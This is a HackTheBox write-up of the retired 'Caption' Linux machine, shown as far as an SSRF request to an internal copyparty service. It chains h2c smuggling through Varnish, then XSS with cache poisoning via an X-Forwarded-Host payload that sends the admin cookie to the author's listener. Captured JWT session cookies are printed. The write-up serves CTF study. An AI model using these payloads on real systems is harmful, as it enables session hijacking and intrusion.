runasdexter
HackTheBox
  • machines
    • Season 7
      • Backfire
      • EscapeTwo
    • Season 6
      • Heal
      • UnderPass
      • LinkVortex
      • BlockBlock
      • Alert
      • Certified
      • Chemistry
      • Instant
      • Yummy
      • Cicada
      • Trickster
      • Caption
      • MonitorsThree
      • Sightless
    • Season 5
      • MagicGardens
  • CHALLENGES
    • AI-ML
      • Easy
      • Medium
      • Hard
    • Blockchain
      • Very Easy
      • Easy
      • Medium
    • Crypto
      • Very Easy
      • Easy
      • Medium
      • Hard
      • Insane
    • Forensics
      • Very Easy
      • Easy
      • Medium
      • Hard
    • GamePwn
      • Very Easy
      • Easy
      • Medium
      • Hard
    • Hardware
      • Very Easy
      • Easy
      • Medium
      • Hard
    • Misc
      • Very Easy
      • Easy
      • Medium
    • Mobile
      • Very Easy
      • Easy
      • Medium
      • Hard
    • OSINT
      • Easy
      • Medium
    • Pwn
      • Very Easy
      • Easy
      • Medium
      • Hard
    • Reversing
      • Very Easy
      • Easy
      • Medium
      • Hard
    • Web
      • Very Easy
      • Easy
      • Medium
      • Hard
  • Cheatsheet
    • Pentest
      • Web Pentesting
    • Tools
Powered by GitBook
On this page
  • Synopsis
  • Enumeration
  • Nmap
  • http - port 80 [ caption.htb ]
  • http - port 8080 [ caption.htb ]
  • Foothold
  • Varnish - h2c smuggling [ http port 80 ]
  • XSS with cache poisoning - Stealing Admin's cookie [ http port 80 ]
  • Shell - marcus [ Copypart Path Traversal ]
  • Privilege Escalation
  • Pillaging - margo [ user ]
  • Shell - root [ Thrift Exploitation ]
  • Proof of Concept
  1. machines
  2. Season 6

Caption

PreviousTricksterNextMonitorsThree

Last updated 2 months ago

Synopsis

Caption is a hard linux machine created by . We will get the margo credentials in GitBucket running in port 8080 to login into Caption Portal running in port 80. The machine uses varnish and haproxy services which is vulnerable to CVE-2021-26740 varnish h2c smuggling, XSS and varnish cache poisoning. We can chain the vulnerabilities to get the admin cookie for caption.htb domain and read the logs which is restricted to margo user. The enumeration to log reveals the use of which is vulnerable to CVE-2023-37474 path travasel and we will get the margos id_ecdsa. The root is running the in port 9090 and server.go which can be leveraged to get the shell as root by crafting malicious log file and creating script which will connect to thrift and read the log file.

OS
Difficulty
Points
Release Date
Retired Date

Linux

Hard

40

14-09-2024

25-01-2025


Enumeration

Nmap

Started the nmap scan and found the ssh and http services running.

nmap -p- -Pn -sC -sV --min-rate=1000 10.10.11.33
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-21 20:39 EST
Warning: 10.10.11.33 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.33
Host is up (6.6s latency).
Not shown: 47141 closed tcp ports (reset), 18391 filtered tcp ports (no-response)
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp   open  http
|_http-title: Did not follow redirect to http://caption.htb
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, RTSPRequest, X11Probe: 
|     HTTP/1.1 400 Bad request
|     Content-length: 90
|     Cache-Control: no-cache
|     Connection: close
|     Content-Type: text/html
|     <html><body><h1>400 Bad request</h1>
|     Your browser sent an invalid request.
|     </body></html>
|   FourOhFourRequest, GetRequest, HTTPOptions: 
|     HTTP/1.1 301 Moved Permanently
|     content-length: 0
|     location: http://caption.htb
|_    connection: close
8080/tcp open  http-proxy
|_http-title: GitBucket
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 404 Not Found
|     Date: Wed, 22 Jan 2025 01:51:03 GMT
|     Set-Cookie: JSESSIONID=node01re4rwzjxaips1slx525zcd2y074.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Content-Length: 5916
|     <!DOCTYPE html>
|     <html prefix="og: http://ogp.me/ns#" lang="en">
|     <head>
|     <meta charset="UTF-8" />
|     <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0" />
|     <meta http-equiv="X-UA-Compatible" content="IE=edge" />
|     <title>Error</title>
|     <meta property="og:title" content="Error" />
|     <meta property="og:type" content="object" />
|     <meta property="og:url" content="http://10.10.11.33:8080/nice%20ports%2C/Tri%6Eity.txt%2ebak" />
|     <meta property="og:image" content="http://10.10.11.33:8080/assets/common/images/gitbucket_ogp.png" />
|     <link rel="icon" href="/assets/common/images/
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Date: Wed, 22 Jan 2025 01:50:54 GMT
|     Set-Cookie: JSESSIONID=node0xzxhhmrrps8t141p5ws0tcz0x72.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Content-Length: 8628
|     <!DOCTYPE html>
|     <html prefix="og: http://ogp.me/ns#" lang="en">
|     <head>
|     <meta charset="UTF-8" />
|     <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0" />
|     <meta http-equiv="X-UA-Compatible" content="IE=edge" />
|     <title>GitBucket</title>
|     <meta property="og:title" content="GitBucket" />
|     <meta property="og:type" content="object" />
|     <meta property="og:url" content="http://10.10.11.33:8080/" />
|     <meta property="og:image" content="http://10.10.11.33:8080/assets/common/images/gitbucket_ogp.png" />
|     <link rel="icon" href="/assets/common/images/gitbucket.png?20250122011355" type=
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Date: Wed, 22 Jan 2025 01:50:58 GMT
|     Set-Cookie: JSESSIONID=node01ofk192uti5h5aq8klj4ri7z273.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Allow: GET,HEAD,POST,OPTIONS
|     Content-Length: 0
|   RTSPRequest: 
|     HTTP/1.1 505 HTTP Version Not Supported
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 58
|     Connection: close
|_    <h1>Bad Message 505</h1><pre>reason: Unknown Version</pre>
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port80-TCP:V=7.94SVN%I=7%D=1/21%Time=67904EFD%P=x86_64-pc-linux-gnu%r(G
SF:etRequest,66,"HTTP/1\.1\x20301\x20Moved\x20Permanently\r\ncontent-lengt
SF:h:\x200\r\nlocation:\x20http://caption\.htb\r\nconnection:\x20close\r\n
SF:\r\n")%r(HTTPOptions,66,"HTTP/1\.1\x20301\x20Moved\x20Permanently\r\nco
SF:ntent-length:\x200\r\nlocation:\x20http://caption\.htb\r\nconnection:\x
SF:20close\r\n\r\n")%r(RTSPRequest,CF,"HTTP/1\.1\x20400\x20Bad\x20request\
SF:r\nContent-length:\x2090\r\nCache-Control:\x20no-cache\r\nConnection:\x
SF:20close\r\nContent-Type:\x20text/html\r\n\r\n<html><body><h1>400\x20Bad
SF:\x20request</h1>\nYour\x20browser\x20sent\x20an\x20invalid\x20request\.
SF:\n</body></html>\n")%r(X11Probe,CF,"HTTP/1\.1\x20400\x20Bad\x20request\
SF:r\nContent-length:\x2090\r\nCache-Control:\x20no-cache\r\nConnection:\x
SF:20close\r\nContent-Type:\x20text/html\r\n\r\n<html><body><h1>400\x20Bad
SF:\x20request</h1>\nYour\x20browser\x20sent\x20an\x20invalid\x20request\.
SF:\n</body></html>\n")%r(FourOhFourRequest,66,"HTTP/1\.1\x20301\x20Moved\
SF:x20Permanently\r\ncontent-length:\x200\r\nlocation:\x20http://caption\.
SF:htb\r\nconnection:\x20close\r\n\r\n")%r(RPCCheck,CF,"HTTP/1\.1\x20400\x
SF:20Bad\x20request\r\nContent-length:\x2090\r\nCache-Control:\x20no-cache
SF:\r\nConnection:\x20close\r\nContent-Type:\x20text/html\r\n\r\n<html><bo
SF:dy><h1>400\x20Bad\x20request</h1>\nYour\x20browser\x20sent\x20an\x20inv
SF:alid\x20request\.\n</body></html>\n")%r(DNSVersionBindReqTCP,CF,"HTTP/1
SF:\.1\x20400\x20Bad\x20request\r\nContent-length:\x2090\r\nCache-Control:
SF:\x20no-cache\r\nConnection:\x20close\r\nContent-Type:\x20text/html\r\n\
SF:r\n<html><body><h1>400\x20Bad\x20request</h1>\nYour\x20browser\x20sent\
SF:x20an\x20invalid\x20request\.\n</body></html>\n")%r(DNSStatusRequestTCP
SF:,CF,"HTTP/1\.1\x20400\x20Bad\x20request\r\nContent-length:\x2090\r\nCac
SF:he-Control:\x20no-cache\r\nConnection:\x20close\r\nContent-Type:\x20tex
SF:t/html\r\n\r\n<html><body><h1>400\x20Bad\x20request</h1>\nYour\x20brows
SF:er\x20sent\x20an\x20invalid\x20request\.\n</body></html>\n")%r(Help,CF,
SF:"HTTP/1\.1\x20400\x20Bad\x20request\r\nContent-length:\x2090\r\nCache-C
SF:ontrol:\x20no-cache\r\nConnection:\x20close\r\nContent-Type:\x20text/ht
SF:ml\r\n\r\n<html><body><h1>400\x20Bad\x20request</h1>\nYour\x20browser\x
SF:20sent\x20an\x20invalid\x20request\.\n</body></html>\n");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port8080-TCP:V=7.94SVN%I=7%D=1/21%Time=67904EFD%P=x86_64-pc-linux-gnu%r
SF:(GetRequest,19E6,"HTTP/1\.1\x20200\x20OK\r\nDate:\x20Wed,\x2022\x20Jan\
SF:x202025\x2001:50:54\x20GMT\r\nSet-Cookie:\x20JSESSIONID=node0xzxhhmrrps
SF:8t141p5ws0tcz0x72\.node0;\x20Path=/;\x20HttpOnly\r\nExpires:\x20Thu,\x2
SF:001\x20Jan\x201970\x2000:00:00\x20GMT\r\nContent-Type:\x20text/html;cha
SF:rset=utf-8\r\nContent-Length:\x208628\r\n\r\n<!DOCTYPE\x20html>\n<html\
SF:x20prefix=\"og:\x20http://ogp\.me/ns#\"\x20lang=\"en\">\n\x20\x20<head>
SF:\n\x20\x20\x20\x20<meta\x20charset=\"UTF-8\"\x20/>\n\x20\x20\x20\x20<me
SF:ta\x20name=\"viewport\"\x20content=\"width=device-width,\x20initial-sca
SF:le=1\.0,\x20maximum-scale=5\.0\"\x20/>\n\x20\x20\x20\x20<meta\x20http-e
SF:quiv=\"X-UA-Compatible\"\x20content=\"IE=edge\"\x20/>\n\x20\x20\x20\x20
SF:<title>GitBucket</title>\n\x20\x20\x20\x20<meta\x20property=\"og:title\
SF:"\x20content=\"GitBucket\"\x20/>\n\x20\x20\x20\x20<meta\x20property=\"o
SF:g:type\"\x20content=\"object\"\x20/>\n\x20\x20\x20\x20<meta\x20property
SF:=\"og:url\"\x20content=\"http://10\.10\.11\.33:8080/\"\x20/>\n\x20\x20\
SF:x20\x20\n\x20\x20\x20\x20\x20\x20<meta\x20property=\"og:image\"\x20cont
SF:ent=\"http://10\.10\.11\.33:8080/assets/common/images/gitbucket_ogp\.pn
SF:g\"\x20/>\n\x20\x20\x20\x20\n\x20\x20\x20\x20\n\x20\x20\x20\x20<link\x2
SF:0rel=\"icon\"\x20href=\"/assets/common/images/gitbucket\.png\?202501220
SF:11355\"\x20type=")%r(HTTPOptions,109,"HTTP/1\.1\x20200\x20OK\r\nDate:\x
SF:20Wed,\x2022\x20Jan\x202025\x2001:50:58\x20GMT\r\nSet-Cookie:\x20JSESSI
SF:ONID=node01ofk192uti5h5aq8klj4ri7z273\.node0;\x20Path=/;\x20HttpOnly\r\
SF:nExpires:\x20Thu,\x2001\x20Jan\x201970\x2000:00:00\x20GMT\r\nContent-Ty
SF:pe:\x20text/html;charset=utf-8\r\nAllow:\x20GET,HEAD,POST,OPTIONS\r\nCo
SF:ntent-Length:\x200\r\n\r\n")%r(RTSPRequest,B8,"HTTP/1\.1\x20505\x20HTTP
SF:\x20Version\x20Not\x20Supported\r\nContent-Type:\x20text/html;charset=i
SF:so-8859-1\r\nContent-Length:\x2058\r\nConnection:\x20close\r\n\r\n<h1>B
SF:ad\x20Message\x20505</h1><pre>reason:\x20Unknown\x20Version</pre>")%r(F
SF:ourOhFourRequest,1812,"HTTP/1\.1\x20404\x20Not\x20Found\r\nDate:\x20Wed
SF:,\x2022\x20Jan\x202025\x2001:51:03\x20GMT\r\nSet-Cookie:\x20JSESSIONID=
SF:node01re4rwzjxaips1slx525zcd2y074\.node0;\x20Path=/;\x20HttpOnly\r\nExp
SF:ires:\x20Thu,\x2001\x20Jan\x201970\x2000:00:00\x20GMT\r\nContent-Type:\
SF:x20text/html;charset=utf-8\r\nContent-Length:\x205916\r\n\r\n<!DOCTYPE\
SF:x20html>\n<html\x20prefix=\"og:\x20http://ogp\.me/ns#\"\x20lang=\"en\">
SF:\n\x20\x20<head>\n\x20\x20\x20\x20<meta\x20charset=\"UTF-8\"\x20/>\n\x2
SF:0\x20\x20\x20<meta\x20name=\"viewport\"\x20content=\"width=device-width
SF:,\x20initial-scale=1\.0,\x20maximum-scale=5\.0\"\x20/>\n\x20\x20\x20\x2
SF:0<meta\x20http-equiv=\"X-UA-Compatible\"\x20content=\"IE=edge\"\x20/>\n
SF:\x20\x20\x20\x20<title>Error</title>\n\x20\x20\x20\x20<meta\x20property
SF:=\"og:title\"\x20content=\"Error\"\x20/>\n\x20\x20\x20\x20<meta\x20prop
SF:erty=\"og:type\"\x20content=\"object\"\x20/>\n\x20\x20\x20\x20<meta\x20
SF:property=\"og:url\"\x20content=\"http://10\.10\.11\.33:8080/nice%20port
SF:s%2C/Tri%6Eity\.txt%2ebak\"\x20/>\n\x20\x20\x20\x20\n\x20\x20\x20\x20\x
SF:20\x20<meta\x20property=\"og:image\"\x20content=\"http://10\.10\.11\.33
SF::8080/assets/common/images/gitbucket_ogp\.png\"\x20/>\n\x20\x20\x20\x20
SF:\n\x20\x20\x20\x20\n\x20\x20\x20\x20<link\x20rel=\"icon\"\x20href=\"/as
SF:sets/common/images/");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 800.71 seconds

Add the caption.htb domain in /etc/hosts file.

http - port 80 [ caption.htb ]

The website is presented with caption portal login.

The /logs gives us the 403 forbidden and /firewall gives us page without any endpoints.

http - port 8080 [ caption.htb ]

The port 8080 is used to host the website for gitbucket service.

The gitbucket has two repository the Caption-Portal and Logservice.

Repository - Caption-Portal

The repository Caption-Portal uses the haproxy and varnish services.

HAProxy is a free and open-source software that acts as a high availability load balancer and proxy for TCP and HTTP-based applications.

Varnish is an HTTP reverse proxy used as an HTTP accelerator for content-heavy dynamic web sites and APIs. It was designed specifically as an HTTP accelerator, unlike other proxy servers that often support FTP, SMTP, and other network protocols.

Repository - Logservice

The repository Logservice uses the thrift.

Thrift provides a remote procedure call (RPC) framework and includes a code generation engine that can produce clients and servers in different languages from a single interface definition file. This allows developers to build interoperable services that can communicate seamlessly across different programming environments.

The Caption-Portal previous commits contains the margo credentials for http port 80 in haproxy.cfg.


Foothold

Varnish - h2c smuggling [ http port 80 ]

1

Testing h2c smuggling

python3 h2csmuggler.py -x http://caption.htb --test
[INFO] h2c stream established successfully.
[INFO] Success! http://caption.htb can be used for tunneling

Testing the h2c smuggling gives us positive result.

2

Trying to access /logs

Using h2c smuggling for accessing /logs redirects us to the login page.

python3 h2csmuggler.py -x http://caption.htb http://caption.htb/logs
[INFO] h2c stream established successfully.
:status: 200
server: Werkzeug/3.0.1 Python/3.10.12
date: Sun, 26 Jan 2025 05:04:52 GMT
content-type: text/html; charset=utf-8
content-length: 4316
x-varnish: 32823
age: 0
via: 1.1 varnish (Varnish/6.6)
x-cache: MISS
accept-ranges: bytes


<!DOCTYPE html>
<html lang="en" >

<head>
  <meta charset="UTF-8">
  
    <script src="https://cpwebassets.codepen.io/assets/common/stopExecutionOnTimeout-2c7831bb44f98c1391d6a4ffda0e1fd302503391ca806e7fcc7b9b87197aec26.js"></script>


  <title>Caption Portal Login</title>

    <link rel="canonical" href="https://codepen.io/Tushar-Sandhu/pen/YzRROwd">
  
  
  
  
<style>
@import url(https://fonts.googleapis.com/css?family=Roboto);


:root{
  --primary-color: #022c22;
  --secondary-color:#f0fdfa;
}

html * {
  font-family: 'Roboto', sans-serif !important;
  cursor:none;
}

body{
  margin:0;
  padding:0;
  height:100vh;
  width:100vw;
  color:var(--secondary-color);
  display:flex;
  justify-content:center;
  align-items:center;
}
.form-container{
  height:550px;
  text-align:center;
  display:flex;
  width:auto;
  align-items:center;
  justify-content:flex-end;
  width: 1200px;
  background-color:var(--primary-color);

    box-shadow:
  0 2.8px 2.2px rgba(0, 0, 0, 0.034),
  0 6.7px 5.3px rgba(0, 0, 0, 0.048),
  0 12.5px 10px rgba(0, 0, 0, 0.06),
  0 22.3px 17.9px rgba(0, 0, 0, 0.072),
  0 41.8px 33.4px rgba(0, 0, 0, 0.086),
  0 100px 80px rgba(0, 0, 0, 0.12);    
  transition: all 0.3s;
}
.form-container:hover{
  transform: scale(1.01) perspective(1px);
}


.form-container > form{
  display:flex;
  flex: 1 1 0px;
  width:100%;
  flex-direction:column;
  gap:35px;
  align-items:center;
  justify-content:center;
}
.submit-btn{
  width:35%;
  font-size:medium;
  background-color:transparent;
  color:var(--secondary-color);
  border:none;
  transition:all 0.3s;
}
.submit-btn:hover{
  background-color:var(--secondary-color);
  color:var(--primary-color);
  font-weight:bold;
  outline:none;
  transform: scale(1.08) perspective(1px);

}


img{
  height:100%;
  width:auto;
  flex: 1 1 0px;
}
.fname-container, .lname-container, .email-container{
  position:relative;
  width:50%;
}

label{
  position: absolute;
  left:-10px;
  top:-15px;
  z-index:1;
  background-color:var(--primary-color);
  padding-right:5%;
}
input{
  background:transparent;
  border:none;
  height:30px;
  outline: white solid;
  font-size:medium;
  color:var(--secondary-color);
  padding-left:3%;
  border-radius:4px;
  transition: all 0.3s;
  width:100%;
}
input:focus{
  outline:green solid;
  transform: scale(1.03) perspective(1px);

}

.mymouse{
  z-index:2;
  position:absolute;
  height:30px;
  width:30px;
  background-color:transparent;
  border-radius:50%;
  outline: black solid;
  transform: translateX(-50%) translateY(-50%);
  pointer-events: none;
  transition: all 100ms ease-out;
}
</style>

  <script>
  window.console = window.console || function(t) {};
</script>

  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
</head>
<body>
  <div class="mymouse"></div>
  <div class="form-container">
    <form class="fr" method="POST">
      <h1 class="elem">Caption Portal<br/>Login </h1>
      <div class="fname-container">
        <label for='fname'>UserName</label>
        <input type="text" name="username" class="elem" >
      </div>
      <div class='lname-container'>
        <label for='lname'>Password</label>
        <input type="password"  name="password" class="elem">
      </div>
      <div class='lname-container'>
        
      </div>
      <input type="submit" value="Login" class="submit-btn elem">
      
    </form>
    <img src="https://img.freepik.com/free-vector/fingerprint-concept-illustration_114360-3630.jpg?w=740&t=st=1690655121~exp=1690655721~hmac=a5de1b1e50d0513d9af30d378c665483c904dd89a6ca2eaae62986b10e3b5c85">
  </div>
  
  
      <script id="rendered-js" >
var cursor = document.querySelector(".mymouse");
document.body.addEventListener("mousemove", function (e) {
  cursor.style.left = e.clientX + "px";
  cursor.style.top = e.clientY + "px";
});

/*change mouse color*/

var cont = document.querySelector('.fr');
cont.addEventListener("mouseover", function () {
  cursor.setAttribute("style", "outline:white solid");
});
var cont = document.querySelector('.form-container');
cont.addEventListener("mouseout", function () {
  cursor.setAttribute("style", "outline:black solid");
});
//# sourceURL=pen.js
    </script>

  
</body>

</html>



[INFO] Requesting - /logs
:status: 302
server: Werkzeug/3.0.1 Python/3.10.12
date: Sun, 26 Jan 2025 05:04:54 GMT
content-type: text/html; charset=utf-8
content-length: 189
location: /
x-varnish: 32824
age: 0
via: 1.1 varnish (Varnish/6.6)
x-cache: MISS

<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/">/</a>. If not, click the link.

3

Using margo session cookie.

The margo JWT in session cookie redirects us to /?err=role_error.

python3 h2csmuggler.py -x http://caption.htb http://caption.htb/logs -H 'Cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Im1hcmdvIiwiZXhwIjoxNzM3ODc0Njk5fQ.8s57SqU1r1sJG1ySo50d7J5x12ojMxYwhQvfQfxXFCA'
[INFO] h2c stream established successfully.
:status: 200
server: Werkzeug/3.0.1 Python/3.10.12
date: Sun, 26 Jan 2025 05:56:50 GMT
content-type: text/html; charset=utf-8
content-length: 4316
x-varnish: 32841 131073
age: 128
via: 1.1 varnish (Varnish/6.6)
accept-ranges: bytes


<!DOCTYPE html>
<html lang="en" >

<head>
  <meta charset="UTF-8">
  
    <script src="https://cpwebassets.codepen.io/assets/common/stopExecutionOnTimeout-2c7831bb44f98c1391d6a4ffda0e1fd302503391ca806e7fcc7b9b87197aec26.js"></script>


  <title>Caption Portal Login</title>

    <link rel="canonical" href="https://codepen.io/Tushar-Sandhu/pen/YzRROwd">
  
  
  
  
<style>
@import url(https://fonts.googleapis.com/css?family=Roboto);


:root{
  --primary-color: #022c22;
  --secondary-color:#f0fdfa;
}

html * {
  font-family: 'Roboto', sans-serif !important;
  cursor:none;
}

body{
  margin:0;
  padding:0;
  height:100vh;
  width:100vw;
  color:var(--secondary-color);
  display:flex;
  justify-content:center;
  align-items:center;
}
.form-container{
  height:550px;
  text-align:center;
  display:flex;
  width:auto;
  align-items:center;
  justify-content:flex-end;
  width: 1200px;
  background-color:var(--primary-color);

    box-shadow:
  0 2.8px 2.2px rgba(0, 0, 0, 0.034),
  0 6.7px 5.3px rgba(0, 0, 0, 0.048),
  0 12.5px 10px rgba(0, 0, 0, 0.06),
  0 22.3px 17.9px rgba(0, 0, 0, 0.072),
  0 41.8px 33.4px rgba(0, 0, 0, 0.086),
  0 100px 80px rgba(0, 0, 0, 0.12);    
  transition: all 0.3s;
}
.form-container:hover{
  transform: scale(1.01) perspective(1px);
}


.form-container > form{
  display:flex;
  flex: 1 1 0px;
  width:100%;
  flex-direction:column;
  gap:35px;
  align-items:center;
  justify-content:center;
}
.submit-btn{
  width:35%;
  font-size:medium;
  background-color:transparent;
  color:var(--secondary-color);
  border:none;
  transition:all 0.3s;
}
.submit-btn:hover{
  background-color:var(--secondary-color);
  color:var(--primary-color);
  font-weight:bold;
  outline:none;
  transform: scale(1.08) perspective(1px);

}


img{
  height:100%;
  width:auto;
  flex: 1 1 0px;
}
.fname-container, .lname-container, .email-container{
  position:relative;
  width:50%;
}

label{
  position: absolute;
  left:-10px;
  top:-15px;
  z-index:1;
  background-color:var(--primary-color);
  padding-right:5%;
}
input{
  background:transparent;
  border:none;
  height:30px;
  outline: white solid;
  font-size:medium;
  color:var(--secondary-color);
  padding-left:3%;
  border-radius:4px;
  transition: all 0.3s;
  width:100%;
}
input:focus{
  outline:green solid;
  transform: scale(1.03) perspective(1px);

}

.mymouse{
  z-index:2;
  position:absolute;
  height:30px;
  width:30px;
  background-color:transparent;
  border-radius:50%;
  outline: black solid;
  transform: translateX(-50%) translateY(-50%);
  pointer-events: none;
  transition: all 100ms ease-out;
}
</style>

  <script>
  window.console = window.console || function(t) {};
</script>

  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
</head>
<body>
  <div class="mymouse"></div>
  <div class="form-container">
    <form class="fr" method="POST">
      <h1 class="elem">Caption Portal<br/>Login </h1>
      <div class="fname-container">
        <label for='fname'>UserName</label>
        <input type="text" name="username" class="elem" >
      </div>
      <div class='lname-container'>
        <label for='lname'>Password</label>
        <input type="password"  name="password" class="elem">
      </div>
      <div class='lname-container'>
        
      </div>
      <input type="submit" value="Login" class="submit-btn elem">
      
    </form>
    <img src="https://img.freepik.com/free-vector/fingerprint-concept-illustration_114360-3630.jpg?w=740&t=st=1690655121~exp=1690655721~hmac=a5de1b1e50d0513d9af30d378c665483c904dd89a6ca2eaae62986b10e3b5c85">
  </div>
  
  
      <script id="rendered-js" >
var cursor = document.querySelector(".mymouse");
document.body.addEventListener("mousemove", function (e) {
  cursor.style.left = e.clientX + "px";
  cursor.style.top = e.clientY + "px";
});

/*change mouse color*/

var cont = document.querySelector('.fr');
cont.addEventListener("mouseover", function () {
  cursor.setAttribute("style", "outline:white solid");
});
var cont = document.querySelector('.form-container');
cont.addEventListener("mouseout", function () {
  cursor.setAttribute("style", "outline:black solid");
});
//# sourceURL=pen.js
    </script>

  
</body>

</html>



[INFO] Requesting - /logs
:status: 302
server: Werkzeug/3.0.1 Python/3.10.12
date: Sun, 26 Jan 2025 05:59:01 GMT
content-type: text/html; charset=utf-8
content-length: 219
location: /?err=role_error
x-varnish: 32842
age: 0
via: 1.1 varnish (Varnish/6.6)
x-cache: MISS

<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/?err=role_error">/?err=role_error</a>. If not, click the link.

XSS with cache poisoning - Stealing Admin's cookie [ http port 80 ]

1

Intercepting the /firewall endpoint.

The /firewall endpoint in burpsuite reveals us the x-varnish header which caches the previously made request on firewall page. The source code includes the none existence JavaScript file, which includes the utm_source parameter. The utm_source has http://internal-proxy.local value, which could be used to alter the source using proxy configuration.

<script src="http://caption.htb/static/js/lib.js?utm_source=http://internal-proxy.local"></script>
  
   <title>Viajar é Preciso</title>
  <!-- LINKS BOOTSTRAP -->
  <link href="http://caption.htb/static/css/bootstrap.min.css?utm_source=http://internal-proxy.local" rel="stylesheet"
    integrity="sha384-T3c6CoIi6uLrA9TneNEoa7RxnatzjcDSCmG1MXxSR1GAsXEV/Dwwykc2MPK8M2HN" crossorigin="anonymous">

  <!-- ICONES -->
  <link rel="stylesheet" href="http://caption.htb/static/css/bootstrap-icons.css?utm_source=http://internal-proxy.local">
2

Adding X-Forwarded-Host

Adding the X-Forwarded-Host in /firewall request to see whether the utm_source value changes.

The value of utm_source changes from http://internal.proxy.local to http://10.10.16.28. The parameter is also vulnerable to XSS payloads, which we can use for getting administrator cookie in 120 seconds because of varnish cache max-age set to 120.

3

Getting Admin JWT

Intercept the /firewall request in burpsuite and add the following payload in request header.

X-Forwarded-Host: "></script><script>var i=new Image;i.src="http://10.10.16.28:8443/?"+document.cookie;</script><script>

Send the request to repeater Ctrl + R, send the request from the repeater.

Open the nc listener in port 8443, wait for 120 seconds and refresh the /firewall endpoint.

nc -lvnp 8443
Listening on 0.0.0.0 8443
Connection received on 10.10.11.33 39451
GET /?session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzM3ODkwMTQwfQ.ed3wPZfM5bMOgOnRJEo1r2Kt59HBOco77m52C_PtSzU HTTP/1.1
Host: 10.10.16.28:8443
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/122.0.6261.111 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Referer: http://caption.htb/
Accept-Encoding: gzip, deflate

Shell - marcus [ Copypart Path Traversal ]

Analyzing the log reveals the download endpoint with url parameter and services or application running in 127.0.0.1:3923.

python3 h2csmuggler.py -x http://caption.htb http://caption.htb/logs -H 'Cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzM3ODkwMTQwfQ.ed3wPZfM5bMOgOnRJEo1r2Kt59HBOco77m52C_PtSzU' 
----- SNIP -----
<html lang="en" lang="pt-br" data-bs-theme="dark">

<head>
  <meta charset="UTF-8">
  
    <script src="https://cpwebassets.codepen.io/assets/common/stopExecutionOnTimeout-2c7831bb44f98c1391d6a4ffda0e1fd302503391ca806e7fcc7b9b87197aec26.js"></script>


  <title>Caption Networks Home</title>

---- SNIP -----
</head>

<body>

  <header class="container my-4">
    <div class="row">
      <!-- vai ocupar todo o espaço se a tela for pequena -->
      <!-- col-lg-6 para telas grandes -->
      
        <center><h1>Log Management</h1></center>
        <br/><br/><center>
        <ul>
            <li><a href="/download?url=http://127.0.0.1:3923/ssh_logs">SSH Logs</a></li>
            <li><a href="/download?url=http://127.0.0.1:3923/fw_logs">Firewall Logs</a></li>
            <li><a href="/download?url=http://127.0.0.1:3923/zk_logs">Zookeeper Logs</a></li>
            <li><a href="/download?url=http://127.0.0.1:3923/hadoop_logs">Hadoop Logs</a></li>
        </ul></center>
      </div>
    </div>
  </header>
----- SNIP -----
</body>

</html>
python3 h2csmuggler.py -x http://caption.htb http://caption.htb/download\?url\=http://127.0.0.1:3923/ -H 'Cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzM3ODkwMTQwfQ.ed3wPZfM5bMOgOnRJEo1r2Kt59HBOco77m52C_PtSzU'
----- SNIP -----
<!DOCTYPE html>
<html lang="en">
 
<head>
        <meta charset="utf-8">
        <title>copyparty</title>
        <meta http-equiv="X-UA-Compatible" content="IE=edge">
        <meta name="viewport" content="width=device-width, initial-scale=0.8">
        <meta name="theme-color" content="#333">
 
        <link rel="stylesheet" media="screen" href="/.cpr/splash.css?_=C7Ta">
